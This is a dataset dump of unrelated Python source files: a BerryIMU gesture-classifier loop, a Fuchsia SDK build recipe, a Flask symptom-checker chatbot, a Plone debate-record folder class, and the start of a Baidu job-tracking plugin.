a more accurate heading value.\n\nmagXmin = 0\nmagYmin = 0\nmagZmin = 0\nmagXmax = 0\nmagYmax = 0\nmagZmax = 0\n\n'''\nHere is an example:\nmagXmin = -1748\nmagYmin = -1025\nmagZmin = -1876\nmagXmax = 959\nmagYmax = 1651\nmagZmax = 708\nDont use the above values, these are just an example.\n'''\n############### END Calibration offsets #################\n\n# Filter variables\ngyroXangle = 0.0\ngyroYangle = 0.0\ngyroZangle = 0.0\noldXMagRawValue = 0\noldYMagRawValue = 0\noldZMagRawValue = 0\noldXAccRawValue = 0\noldYAccRawValue = 0\noldZAccRawValue = 0\n\na = datetime.datetime.now()\n\n# Setup the tables for the mdeian filter. Fill them all with '1' so we dont get devide by zero error\nacc_medianTable1X = [1] * ACC_MEDIANTABLESIZE\nacc_medianTable1Y = [1] * ACC_MEDIANTABLESIZE\nacc_medianTable1Z = [1] * ACC_MEDIANTABLESIZE\nacc_medianTable2X = [1] * ACC_MEDIANTABLESIZE\nacc_medianTable2Y = [1] * ACC_MEDIANTABLESIZE\nacc_medianTable2Z = [1] * ACC_MEDIANTABLESIZE\nmag_medianTable1X = [1] * MAG_MEDIANTABLESIZE\nmag_medianTable1Y = [1] * MAG_MEDIANTABLESIZE\nmag_medianTable1Z = [1] * MAG_MEDIANTABLESIZE\nmag_medianTable2X = [1] * MAG_MEDIANTABLESIZE\nmag_medianTable2Y = [1] * MAG_MEDIANTABLESIZE\nmag_medianTable2Z = [1] * MAG_MEDIANTABLESIZE\n\nIMU.detectIMU() # Detect if BerryIMU is connected.\nif(IMU.BerryIMUversion == 99):\n print(\" No BerryIMU found... exiting \")\n sys.exit()\nIMU.initIMU() # Initialise the accelerometer, gyroscope and compass\n\ngyrox_list = [0] * 5\ngyroy_list = [0] * 5\ngyroz_list = [0] * 5\n\nclf_action = \"None\"\naction_list = [\"None\"] * 5\n\nwhile True:\n # Read the accelerometer,gyroscope and magnetometer values\n ACCx = IMU.readACCx()\n ACCy = IMU.readACCy()\n ACCz = IMU.readACCz()\n GYRx = IMU.readGYRx()\n GYRy = IMU.readGYRy()\n GYRz = IMU.readGYRz()\n MAGx = IMU.readMAGx()\n MAGy = IMU.readMAGy()\n MAGz = IMU.readMAGz()\n\n # Apply compass calibration\n MAGx -= (magXmin + magXmax) / 2\n MAGy -= (magYmin + magYmax) / 2\n MAGz -= (magZmin + magZmax) / 2\n\n\n # Calculate loop Period(LP). How long between Gyro Reads\n b = datetime.datetime.now() - a\n a = datetime.datetime.now()\n LP = b.microseconds/(1000000*1.0)\n outputString = \"Loop Time %5.2f \" % ( LP )\n\n ###############################################\n #### Apply low pass filter ####\n ###############################################\n MAGx = MAGx * MAG_LPF_FACTOR + oldXMagRawValue*(1 - MAG_LPF_FACTOR);\n MAGy = MAGy * MAG_LPF_FACTOR + oldYMagRawValue*(1 - MAG_LPF_FACTOR);\n MAGz = MAGz * MAG_LPF_FACTOR + oldZMagRawValue*(1 - MAG_LPF_FACTOR);\n ACCx = ACCx * ACC_LPF_FACTOR + oldXAccRawValue*(1 - ACC_LPF_FACTOR);\n ACCy = ACCy * ACC_LPF_FACTOR + oldYAccRawValue*(1 - ACC_LPF_FACTOR);\n ACCz = ACCz * ACC_LPF_FACTOR + oldZAccRawValue*(1 - ACC_LPF_FACTOR);\n\n oldXMagRawValue = MAGx\n oldYMagRawValue = MAGy\n oldZMagRawValue = MAGz\n oldXAccRawValue = ACCx\n oldYAccRawValue = ACCy\n oldZAccRawValue = ACCz\n\n #########################################\n #### Median filter for accelerometer ####\n #########################################\n # cycle the table\n for x in range (ACC_MEDIANTABLESIZE-1,0,-1 ):\n acc_medianTable1X[x] = acc_medianTable1X[x-1]\n acc_medianTable1Y[x] = acc_medianTable1Y[x-1]\n acc_medianTable1Z[x] = acc_medianTable1Z[x-1]\n\n # Insert the lates values\n acc_medianTable1X[0] = ACCx\n acc_medianTable1Y[0] = ACCy\n acc_medianTable1Z[0] = ACCz\n\n # Copy the tables\n acc_medianTable2X = acc_medianTable1X[:]\n acc_medianTable2Y = acc_medianTable1Y[:]\n acc_medianTable2Z = acc_medianTable1Z[:]\n\n # Sort table 2\n acc_medianTable2X.sort()\n acc_medianTable2Y.sort()\n acc_medianTable2Z.sort()\n\n # The middle value is the value we are interested in\n ACCx = acc_medianTable2X[int(ACC_MEDIANTABLESIZE/2)];\n ACCy = acc_medianTable2Y[int(ACC_MEDIANTABLESIZE/2)];\n ACCz = acc_medianTable2Z[int(ACC_MEDIANTABLESIZE/2)];\n\n #########################################\n #### Median filter for magnetometer ####\n #########################################\n # cycle the table\n for x in range (MAG_MEDIANTABLESIZE-1,0,-1 ):\n mag_medianTable1X[x] = mag_medianTable1X[x-1]\n mag_medianTable1Y[x] = mag_medianTable1Y[x-1]\n mag_medianTable1Z[x] = mag_medianTable1Z[x-1]\n\n # Insert the latest values\n mag_medianTable1X[0] = MAGx\n mag_medianTable1Y[0] = MAGy\n mag_medianTable1Z[0] = MAGz\n\n # Copy the tables\n mag_medianTable2X = mag_medianTable1X[:]\n mag_medianTable2Y = mag_medianTable1Y[:]\n mag_medianTable2Z = mag_medianTable1Z[:]\n\n # Sort table 2\n mag_medianTable2X.sort()\n mag_medianTable2Y.sort()\n mag_medianTable2Z.sort()\n\n # The middle value is the value we are interested in\n MAGx = mag_medianTable2X[int(MAG_MEDIANTABLESIZE/2)];\n MAGy = mag_medianTable2Y[int(MAG_MEDIANTABLESIZE/2)];\n MAGz = mag_medianTable2Z[int(MAG_MEDIANTABLESIZE/2)];\n\n # Convert Gyro raw to degrees per second\n rate_gyr_x = GYRx * G_GAIN\n rate_gyr_y = GYRy * G_GAIN\n rate_gyr_z = GYRz * G_GAIN\n\n # Calculate the angles from the gyro.\n gyroXangle+=rate_gyr_x*LP\n gyroYangle+=rate_gyr_y*LP\n gyroZangle+=rate_gyr_z*LP\n\n ######################## START Thresholding #########################\n\n gyrox_list = [gyroXangle] + gyrox_list\n gyrox_list.pop()\n\n gyroy_list = [gyroYangle] + gyroy_list\n gyroy_list.pop()\n\n gyroz_list = [gyroZangle] + gyroz_list\n gyroz_list.pop()\n\n max_gyrox = max(gyrox_list)\n max_gyrox_index = gyrox_list.index(max_gyrox)\n min_gyrox = min(gyrox_list)\n min_gyrox_index = gyrox_list.index(min_gyrox)\n\n max_gyroy = max(gyroy_list)\n max_gyroy_index = gyroy_list.index(max_gyroy)\n min_gyroy = min(gyroy_list)\n min_gyroy_index = gyroy_list.index(min_gyroy)\n\n max_gyroz = max(gyroz_list)\n max_gyroz_index = gyroz_list.index(max_gyroz)\n min_gyroz = min(gyroz_list)\n min_gyroz_index = gyroz_list.index(min_gyroz)\n\n max_gyrox_diff = max_gyrox - min_gyrox\n max_gyroy_diff = max_gyroy - min_gyroy\n max_gyroz_diff = max_gyroz - min_gyroz\n\n if max_gyrox_diff > GYRO_X_LIFT and max_gyroy_diff < GYRO_Y_LIFT and max_gyroz_diff < GYRO_Z_LIFT:\n if min_gyrox_index < max_gyrox_index and action_list.count(\"None\") > 4:\n clf_action = \"Upward_Lift\"\n # print(max_gyrox_diff, max_gyroy_diff, max_gyroz_diff)\n else:\n clf_action = \"None\"\n elif max_gyroy_diff > GYRO_Y_TWIST and max_gyrox_diff < GYRO_X_TWIST and max_gyroz_diff < GYRO_Z_TWIST: \n if min_gyroy_index < max_gyroy_index and action_list.count(\"None\") > 4:\n clf_action = \"Clockwise_Twist\"\n # print(max_gyrox_diff, max_gyroy_diff, max_gyroz_diff)\n else:\n clf_action = \"None\"\n elif max_gyroz_diff > GYRO_Z_CHOP and max_gyrox_diff < GYRO_X_CHOP and max_gyroy_diff < GYRO_Y_CHOP:\n if min_gyroz_index < max_gyroz_index and action_list.count(\"None\") > 4:\n clf_action = \"Vertical_Chop\"\n # print(max_gyrox_diff, max_gyroy_diff, max_gyroz_diff)\n else:\n clf_action = \"None\"\n else:\n clf_action = \"None\"\n\n action_list = [clf_action] + action_list\n action_list.pop()\n\n print(\"Classifier action:\", clf_action)\n\n if clf_action is \"Upward_Lift\":\n \tfor i in range(5):\n gyrox_list = [gyroXangle] + gyrox_list\n gyrox_list.pop()\n\n if clf_action is \"Clockwise_Twist\":\n \tfor i in range(5):\n gyroy_list = [gyroYangle] + gyroy_list\n gyroy_list.pop()\n\n if clf_action is \"Vertical_Chop\":\n \tfor i in range(5):\n gyroz_list = [gyroZangle] + gyroz_list\n gyroz_list.pop()\n\n time.sleep(0.05)\n","sub_path":"src/modules/imu_mqtt/berryIMU.py","file_name":"berryIMU.py","file_ext":"py","file_size_in_byte":9358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"454520339","text":"# Copyright 2017 The Fuchsia Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Recipe for building Fuchsia SDKs.\"\"\"\n\nfrom contextlib import contextmanager\n\nfrom recipe_engine.config import Enum, List, ReturnSchema, Single\nfrom recipe_engine.recipe_api import Property, StepFailure\n\nimport hashlib\n\n\nDEPS = [\n 'infra/cipd',\n 'infra/goma',\n 'infra/go',\n 'infra/gsutil',\n 'infra/hash',\n 'infra/jiri',\n 'recipe_engine/context',\n 'recipe_engine/file',\n 'recipe_engine/path',\n 'recipe_engine/platform',\n 'recipe_engine/properties',\n 'recipe_engine/raw_io',\n 'recipe_engine/step',\n 'recipe_engine/tempfile',\n]\n\n# Test summary from the core tests, which run directly from userboot.\nCORE_TESTS_MATCH = r'CASES: +(\\d+) +SUCCESS: +(\\d+) +FAILED: +(?P\\d+)'\n\n# Test summary from the runtests command on a booted system.\nBOOTED_TESTS_MATCH = r'SUMMARY: Ran (\\d+) tests: (?P\\d+) failed'\n\nPROPERTIES = {\n 'category': Property(kind=str, help='Build category', default=None),\n 'patch_gerrit_url': Property(kind=str, help='Gerrit host', default=None),\n 'patch_project': Property(kind=str, help='Gerrit project', default=None),\n 'patch_ref': Property(kind=str, help='Gerrit patch ref', default=None),\n 'patch_storage': Property(kind=str, help='Patch location', default=None),\n 'patch_repository_url': Property(kind=str, help='URL to a Git repository',\n default=None),\n 'project': Property(kind=str, help='Jiri remote manifest project', default=None),\n 'manifest': Property(kind=str, help='Jiri manifest to use'),\n 'remote': Property(kind=str, help='Remote manifest repository'),\n 'use_goma': Property(kind=bool, help='Whether to use goma to compile',\n default=True),\n 'gn_args': Property(kind=List(basestring), help='Extra args to pass to GN',\n default=[]),\n}\n\n\ndef BuildZircon(api, project):\n build_zircon_cmd = [\n api.path['start_dir'].join('scripts', 'build-zircon.sh'),\n '-p', project,\n ]\n api.step('build ' + project, build_zircon_cmd)\n\n\n@contextmanager\ndef GomaContext(api, use_goma):\n if not use_goma:\n yield\n else:\n with api.goma.build_with_goma():\n yield\n\n\ndef BuildFuchsia(api, release_build, gn_target, zircon_project,\n fuchsia_build_dir, packages, use_goma, gn_args):\n with api.step.nest('build fuchsia %s' % gn_target), GomaContext(api, use_goma):\n gen_cmd = [\n api.path['start_dir'].join('build', 'gn', 'gen.py'),\n '--target_cpu=%s' % gn_target,\n '--packages=%s' % ','.join(packages),\n '--platforms=%s' % zircon_project,\n '--ignore-skia'\n ]\n\n if use_goma:\n gen_cmd.append('--goma=%s' % api.goma.goma_dir)\n\n if release_build:\n gen_cmd.append('--release')\n\n for arg in gn_args:\n gen_cmd.append('--args')\n gen_cmd.append(arg)\n\n api.step('gen', gen_cmd)\n\n ninja_cmd = [\n api.path['start_dir'].join('buildtools', 'ninja'),\n '-C', fuchsia_build_dir,\n ]\n\n if use_goma:\n ninja_cmd.extend(['-j', api.goma.recommended_goma_jobs])\n else:\n ninja_cmd.extend(['-j', api.platform.cpu_count])\n\n api.step('ninja', ninja_cmd)\n\n\ndef MakeSdk(api, outdir, sdk):\n api.go('run',\n api.path['start_dir'].join('scripts', 'makesdk.go'),\n '-out-dir', outdir,\n '-output', sdk,\n api.path['start_dir'])\n\n\ndef PackageArchive(api, sdk):\n return api.hash.sha1(\n 'hash archive', sdk, test_data='27a0c185de8bb5dba483993ff1e362bc9e2c7643')\n\n\ndef UploadArchive(api, sdk, digest):\n api.gsutil.upload(\n 'fuchsia',\n sdk,\n 'sdk/linux-amd64/%s' % digest,\n name='upload fuchsia-sdk %s' % digest,\n unauthenticated_url=True\n )\n snapshot_file = api.path['tmp_base'].join('jiri.snapshot')\n api.jiri.snapshot(snapshot_file)\n api.gsutil.upload('fuchsia-snapshots', snapshot_file, digest,\n link_name='jiri.snapshot',\n name='upload jiri.snapshot',\n unauthenticated_url=True)\n\n\ndef UploadPackage(api, outdir, digest):\n cipd_pkg_name = 'fuchsia/sdk/' + api.cipd.platform_suffix()\n cipd_pkg_file = api.path['tmp_base'].join('sdk.cipd')\n\n api.cipd.build(\n input_dir=outdir,\n package_name=cipd_pkg_name,\n output_package=cipd_pkg_file,\n install_mode='copy',\n )\n step_result = api.cipd.register(\n package_name=cipd_pkg_name,\n package_path=cipd_pkg_file,\n refs=['latest'],\n tags={\n 'jiri_snapshot': digest,\n },\n )\n\n api.gsutil.upload(\n 'fuchsia',\n cipd_pkg_file,\n '/'.join(['sdk', api.cipd.platform_suffix(), step_result.json.output['result']['instance_id']]),\n unauthenticated_url=True\n )\n\n\ndef RunSteps(api, category, patch_gerrit_url, patch_project, patch_ref,\n patch_storage, patch_repository_url, project, manifest, remote,\n use_goma, gn_args):\n api.jiri.ensure_jiri()\n api.go.ensure_go()\n api.gsutil.ensure_gsutil()\n if use_goma:\n api.goma.ensure_goma()\n\n api.cipd.set_service_account_credentials(\n api.cipd.default_bot_service_account_credentials)\n\n with api.context(infra_steps=True):\n api.jiri.checkout(manifest, remote, project, patch_ref, patch_gerrit_url)\n\n packages = ['garnet/packages/sdk']\n build_type = 'release'\n release_build = True\n gn_target_and_zircon_platforms = [\n ['x86-64', 'x86'],\n ['aarch64', 'arm64'],\n ]\n\n fuchsia_out_dir = api.path['start_dir'].join('out')\n\n for gn_target, zircon_platform in gn_target_and_zircon_platforms:\n BuildZircon(api, zircon_platform)\n fuchsia_build_dir = fuchsia_out_dir.join('%s-%s' % (build_type, gn_target))\n BuildFuchsia(api, release_build, gn_target, zircon_platform,\n fuchsia_build_dir, packages, use_goma, gn_args)\n\n outdir = api.path.mkdtemp('sdk')\n sdk = api.path['tmp_base'].join('fuchsia-sdk.tgz')\n MakeSdk(api, outdir, sdk)\n\n if not api.properties.get('tryjob', False):\n digest = PackageArchive(api, sdk)\n UploadArchive(api, sdk, digest)\n UploadPackage(api, outdir, digest)\n\n\ndef GenTests(api):\n yield (api.test('ci') +\n api.properties(project='garnet',\n manifest='manifest/garnet',\n remote='https://fuchsia.googlesource.com/garnet',\n gn_args=['test']))\n yield (api.test('cq_try') +\n api.properties.tryserver(\n project='garnet',\n manifest='manifest/garnet',\n remote='https://fuchsia.googlesource.com/garnet',\n gerrit_project='zircon',\n patch_gerrit_url='fuchsia-review.googlesource.com'))\n yield (api.test('no_goma') +\n api.properties(\n project='garnet',\n manifest='manifest/garnet',\n remote='https://fuchsia.googlesource.com/garnet',\n use_goma=False))\n","sub_path":"recipes/sdk.py","file_name":"sdk.py","file_ext":"py","file_size_in_byte":6800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"225537116","text":"import pandas as pd\nfrom sklearn import preprocessing\nfrom sklearn.tree import DecisionTreeClassifier,_tree\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.svm import SVC\nimport csv\nimport warnings\nimport pyttsx3\n\n\n\n\n#main\n\n\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\nfrom flask import Flask, render_template, request\nimport random\nl=[]\napp = Flask(__name__)\napp.config[\"CACHE_TYPE\"]=\"null\"\nip={}\ntraining = pd.read_csv('Training.csv')\ntesting= pd.read_csv('Testing.csv')\ncols= training.columns\ncols= cols[:-1]\nsymptoms_exp=[]\nx = training[cols]\ny = training['prognosis']\ny1= y\nreduced_data = training.groupby(training['prognosis']).max()\n#creating a list to keep a track of all symptoms\n\nsymptoms_present = []\n\n#mapping strings to numbers\n\nle = preprocessing.LabelEncoder()\nle.fit(y)\ny = le.transform(y)\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.33, random_state=42)\ntestx = testing[cols]\ntesty = testing['prognosis'] \ntesty = le.transform(testy)\nclf1 = DecisionTreeClassifier()\nclf = clf1.fit(x_train,y_train)\nscores = cross_val_score(clf, x_test, y_test, cv=3)\nmodel=SVC()\nmodel.fit(x_train,y_train)\nimportances = clf.feature_importances_\nindices = np.argsort(importances)[::-1]\nfeatures = cols\n\ndef readn(nstr):\n engine = pyttsx3.init()\n\n\n\n \n\nseverityDictionary=dict()\ndescription_list = dict()\nprecautionDictionary=dict()\n\nsymptoms_dict = {}\n\nfor index, symptom in enumerate(x):\n symptoms_dict[symptom] = index\n\ndef calc_condition(exp,days):\n sum=0\n for item in exp:\n sum=sum+severityDictionary[item]\n\n# it crosses a particular severity mark then cunsulatation from a doctor.\n\n if((sum*days)/(len(exp)+1)>13):\n return \"You should take the consultation from doctor. \"\n else:\n return \"It might not be that bad but you should take precautions.\"\n\n# taking description of a disease and storing it in description_list which is a dict\n\n\ndef getDescription():\n global description_list\n with open('symptom_Description.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n for row in csv_reader:\n _description={row[0]:row[1]}\n description_list.update(_description)\n\n#reading the severity of a symptom from symptom_severity.csv and storing it in severity dict\n\ndef getSeverityDict():\n global severityDictionary\n with open('symptom_severity.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n try:\n for row in csv_reader:\n _diction={row[0]:int(row[1])}\n severityDictionary.update(_diction)\n except:\n pass\n\n#reading preaution and storing it in precaution dict\n\ndef getprecautionDict():\n global precautionDictionary\n with open('symptom_precaution.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n for row in csv_reader:\n _prec={row[0]:[row[1],row[2],row[3],row[4]]}\n precautionDictionary.update(_prec)\n\n\ndef check_pattern(dis_list,inp):\n import re\n pred_list=[]\n ptr=0\n\n#to represent start and end of string\n\n patt = \"^\" + inp + \"$\"\n regexp = re.compile(inp)\n for item in dis_list:\n\n \n if regexp.search(item):\n pred_list.append(item)\n \n if(len(pred_list)>0):\n return 1,pred_list\n else:\n return ptr,item\n#testing 30% then fits data . symptoms are assigned nos. input vector of zeros is made. it checks in dict if disease is present 1 is assigned\n\ndef sec_predict(symptoms_exp):\n df = pd.read_csv('Training.csv')\n X = df.iloc[:, :-1]\n y = df['prognosis']\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=20)\n rf_clf = DecisionTreeClassifier()\n rf_clf.fit(X_train, y_train)\n symptoms_dict = {}\n for index, symptom in enumerate(X):\n symptoms_dict[symptom] = index\n input_vector = np.zeros(len(symptoms_dict))\n for item in symptoms_exp:\n input_vector[[symptoms_dict[item]]] = 1\n return rf_clf.predict([input_vector])\n\n\ndef print_disease(node):\n node = node[0]\n val = node.nonzero() \n disease = le.inverse_transform(val[0])\n return disease\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n@app.route(\"/index\")\ndef get_bot_response():\n engine = pyttsx3.init()\n\n \n\n \n userText = request.args.get('msg').strip()\n if \"please enter the symptom you are facing\" not in l:\n l.append(\"please enter the symptom you are facing\")\n engine.say(\"Hello \"+userText+\" please enter the symptom you are facing\")\n engine.runAndWait()\n return \"Hello \"+userText+\" please enter the symptom you are facing\"\n tree=globals()['clf']\n feature_names=globals()['cols']\n tree_ = tree.tree_\n feature_name = [\n feature_names[i] if i != _tree.TREE_UNDEFINED else \"undefined!\"\n for i in tree_.feature\n ]\n\n chk_dis=\",\".join(feature_names).split(\",\")\n symptoms_present = []\n \n while True:\n if \"dis_inp\" not in ip.keys():\n disease_input = request.args.get('msg').strip()\n ip[\"dis_inp\"]=disease_input\n disease_input=ip[\"dis_inp\"]\n \n conf,cnf_dis=check_pattern(chk_dis,disease_input)\n \n shrad=\"\"\n try:\n if conf==1:\n for num,it in enumerate(cnf_dis):\n shrad+=\"
\"+str(num)+\")\"+it.replace(\"_\",\" \")+\" \"\n if num!=0:\n if \"select the one that you meant\" not in l:\n l.append(\"select the one that you meant\")\n engine.say(\"select the one that you meant \"+shrad)\n engine.runAndWait()\n\n return \"select the one that you meant \"+shrad\n\n try:\n if \"conf_inp\" not in ip.keys():\n conf_inp = request.args.get('msg').strip()\n ip[\"conf_inp\"]=conf_inp\n conf_inp=ip[\"conf_inp\"]\n except:\n return \"wrong input\"\n else:\n conf_inp=0\n disease_input=cnf_dis[int(conf_inp)]\n break\n else:\n return \"Enter valid symptom \"\n except:\n return \"sorry wrong input\"\n\n\n while True:\n try:\n if \"okay. from how many days?\" not in l:\n l.append(\"okay. from how many days?\")\n engine.say(\"okay. from how many days are you experiencing this?\")\n engine.runAndWait()\n\n return \"okay. from how many days are you experiencing this?\"\n break\n except:\n return \"wrong ip again\"\n try:\n if \"num_days\" not in ip.keys():\n num_days=int(request.args.get('msg').strip())\n ip[\"num_days\"]=num_days\n except :\n engine.say(\"please enter correct input\")\n engine.runAndWait()\n return \"please enter correct input\"\n\n num_days=ip[\"num_days\"]\n \n recurse(0, 1,tree_,feature_name,disease_input)\n present_disease = print_disease(tree_.value[node])\n red_cols = reduced_data.columns \n symptoms_given = red_cols[reduced_data.loc[present_disease].values[0].nonzero()]\n symptoms_exp=[]\n vir=list(symptoms_given) \n for syms in list(symptoms_given):\n inp=\"\"\n if syms not in ip.keys():\n ip[syms]=\"done\"\n engine.say(\"Are you experiencing any \"+syms.replace(\"_\",\" \")+\" ? : \"+\" provide proper answers that is yes or no :\")\n engine.runAndWait()\n\n return \"Are you experiencing any \"+syms.replace(\"_\",\" \")+\" ? : \"+\"
provide proper answers i.e. (yes/no) : \"\n \n \n inp=request.args.get('msg').strip()\n print(inp)\n if(inp.lower()==\"yes\"):\n symptoms_exp.append(syms)\n print(\"yess\")\n elif(inp.lower()==\"no\"):\n continue\n else:\n engine.say(\"please provide proper answers that is yes or no : \")\n engine.runAndWait()\n\n return \"please provide proper answers i.e. (yes/no) : \"\n second_prediction=sec_predict(symptoms_exp)\n calc_condition(symptoms_exp,num_days)\n precution_list=precautionDictionary[present_disease[0]]\n shrad=\"\"\n for i,j in enumerate(precution_list):\n shrad+=str(i+1)+\")\"+j+\"
\"\n if(present_disease[0]==second_prediction[0]):\n engine.say(\"Here are the results. you may have \"+present_disease[0]+\" the information regarding the disease is as present:\")\n engine.runAndWait()\n\n return \"You may have

\"+ present_disease[0]+\"


\"+description_list[present_disease[0]]+\"
Take following measures :
\"+shrad\n else:\n return \"You may have

\"+ present_disease[0]+ \"


\"+description_list[present_disease[0]]+\"
\"+\"
Take following measures :
\"+shrad \nnode=0\ndef recurse(n, depth,tree_,feature_name,disease_input):\n globals()['node']=n\n \n indent = \" \" * depth\n if tree_.feature[globals()['node']] != _tree.TREE_UNDEFINED:\n name = feature_name[globals()['node']]\n threshold = tree_.threshold[globals()['node']]\n if name == disease_input:\n val = 1\n else:\n val = 0\n if val <= threshold:\n recurse(tree_.children_left[globals()['node']], depth + 1,tree_,feature_name,disease_input)\n else:\n symptoms_present.append(name)\n recurse(tree_.children_right[globals()['node']], depth + 1,tree_,feature_name,disease_input)\n@app.after_request\ndef add_header(response):\n response.cache_control.no_store=True\n return response \n@app.route('/map')\ndef map_func():\n\treturn render_template('map.html',\n \t\t\tlatitude=latitude,\n longitude=longitude,\n apikey=api_key,\n oneName=hospitalOne,\n OneAddress=hospitalOne_address,\n oneLatitude=hospitalOne_latitude,\n oneLongitude=hospitalOne_longitude,\n twoName=hospitalTwo,\n twoAddress=hospitalTwo_address,\n twoLatitude=hospitalTwo_latitude,\n twoLongitude=hospitalTwo_longitude,\n threeName=hospitalThree,\n threeAddress=hospitalThree_address,\n threeLatitude=hospitalThree_latitude,\n threeLongitude=hospitalThree_longitude,\n fourName=hospitalFour,\t\t\n fourAddress=hospitalFour_address,\n fourLatitude=hospitalFour_latitude,\n fourLongitude=hospitalFour_longitude,\n fiveName=hospitalFive,\t\t\n fiveAddress=hospitalFive_address,\n fiveLatitude=hospitalFive_latitude,\n fiveLongitude=hospitalFive_longitude)\nif __name__ == \"__main__\":\n getSeverityDict()\n getDescription()\n getprecautionDict()\n \n app.run(host='127.0.0.1',port=5000,debug=True,threaded=True)\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"454627990","text":"# -*- coding: utf-8 -*-\n#\n# File: DebateRecordFolder.py\n#\n# Copyright (c) 2007 by []\n# Generator: ArchGenXML Version 2.0-beta5\n# http://plone.org/products/archgenxml\n#\n# GNU General Public License (GPL)\n#\n\n__author__ = \"\"\"Jean Jordaan \"\"\"\n__docformat__ = 'plaintext'\n\nfrom AccessControl import ClassSecurityInfo\nfrom Products.Archetypes.atapi import *\nfrom zope import interface\nfrom zope.interface import implements\nimport interfaces\nfrom Products.PloneHelpCenter.content.ReferenceManualFolder import HelpCenterReferenceManualFolder\nfrom Products.Bungeni.groups.BungeniTeamSpace import BungeniTeamSpace\nfrom Products.Bungeni.interfaces.IDebateRecordFolder import IDebateRecordFolder\nfrom Products.CMFDynamicViewFTI.browserdefault import BrowserDefaultMixin\n\nfrom Products.Bungeni.config import *\n\n##code-section module-header #fill in your manual code here\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.Archetypes.utils import DisplayList\n##/code-section module-header\n\ncopied_fields = {}\ncopied_fields['space_teams'] = BungeniTeamSpace.schema['space_teams'].copy()\ncopied_fields['space_teams'].widget.macro_edit = \"space_teams_edit\"\nschema = Schema((\n\n copied_fields['space_teams'],\n\n),\n)\n\n##code-section after-local-schema #fill in your manual code here\n##/code-section after-local-schema\n\nDebateRecordFolder_schema = BaseFolderSchema.copy() + \\\n getattr(HelpCenterReferenceManualFolder, 'schema', Schema(())).copy() + \\\n getattr(BungeniTeamSpace, 'schema', Schema(())).copy() + \\\n schema.copy()\n\n##code-section after-schema #fill in your manual code here\n##/code-section after-schema\n\nclass DebateRecordFolder(HelpCenterReferenceManualFolder, BrowserDefaultMixin, BungeniTeamSpace):\n \"\"\"\n \"\"\"\n security = ClassSecurityInfo()\n implements(interfaces.IDebateRecordFolder, IDebateRecordFolder)\n\n meta_type = 'DebateRecordFolder'\n _at_rename_after_creation = True\n\n schema = DebateRecordFolder_schema\n\n ##code-section class-header #fill in your manual code here\n ##/code-section class-header\n\n # Methods\n\n security.declarePublic('getReportersForSittingVocab')\n def getReportersForSittingVocab(self):\n \"\"\" Get the current parliament's team of reporters, and return\n the active memberships.\n \"\"\"\n rota_tool = getToolByName(self, 'portal_rotatool')\n members = rota_tool.getAvailableReporters()\n return DisplayList([(m.UID(), m.Title()) for m in members])\n\n security.declarePublic('getSpaceTeamsDefault')\n def getSpaceTeamsDefault(self):\n \"\"\" Used from space_team_edit.pt\n \"\"\"\n catalog = getToolByName(self, 'uid_catalog')\n team_ids = [p.UID for p in catalog(portal_type='DebateRecordOffice')]\n return team_ids\n\n security.declarePublic('getNotAddableTypes')\n def getNotAddableTypes(self):\n \"\"\" Don't allow a Rota folder to be added until we have proper\n parameters for it.\n \"\"\"\n rota_tool = getToolByName(self, 'portal_rotatool')\n if (self.contentValues(filter={'portal_type': 'RotaFolder'}) or\n (not rota_tool.getReportingLeadTime()) or\n (not rota_tool.getTakeLength()) or\n (not rota_tool.getExtraTakes()) or\n (not rota_tool.getAvailableReporters())\n ):\n return ['RotaFolder', ]\n return []\n\n security.declareProtected(permissions.View, 'getItemsByAudiencesAndSections')\n def getItemsByAudiencesAndSections(self, **kwargs):\n \"\"\" Narrow search to allowed PHC types.\n \"\"\"\n query = {'portal_type': ['HelpCenterReferenceManual', ]}\n query.update(kwargs)\n return HelpCenterReferenceManualFolder.getItemsByAudiencesAndSections(self, **query)\n\n\nregisterType(DebateRecordFolder, PROJECTNAME)\n# end of class DebateRecordFolder\n\n##code-section module-footer #fill in your manual code here\ndef addedDebateRecordFolder(obj, event):\n \"\"\" A DebateRecordFolder is always associated with teams of type\n DebateRecordOffice by default.\n \"\"\"\n if obj.isTemporary():\n #DBG log('addedRotaFolder> Not yet!')\n return\n\n catalog = getToolByName(obj, 'portal_catalog')\n default_teams = [p.getId for p in catalog(portal_type='DebateRecordOffice')]\n\n current_teams = obj.getTeams()\n obj.editTeams(current_teams+default_teams)\n##/code-section module-footer\n\n\n\n","sub_path":"archived/Bungeni/branches/plone3/debaterecord/DebateRecordFolder.py","file_name":"DebateRecordFolder.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"290260054","text":"# _*_ coding: UTF-8 _*_\r\n\r\n# author: dik\r\n# date: 2016-03-04\r\n# 变更推送\r\n\r\n\r\nfrom src.head import *\r\n\r\nclass BaiduZhaoPinPlugin02:\r\n def __init__(self):\r\n pass\r\n\r\n def __call__(self):\r\n return\r\n\r\n def process(self, data_instance):\r\n logging.debug(\"jobs ChangeItem starting....\")\r\n if data_instance.status[\"isNew\"]:\r\n change_items = self.build_record(data_instance)\r\n if len(change_items) > 0:\r\n MongoDBDAO.insert_many(\"CG\", \"changeitems\", change_items)\r\n\r\n def build_record(self, data_instance):\r\n change_items = []\r\n\r\n jobs_records = data_instance.dict[\"items\"]\r\n jobs_item = jobs_records[(len(jobs_records) - 1)]\r\n\r\n item = {\r\n \"status\":0,\r\n 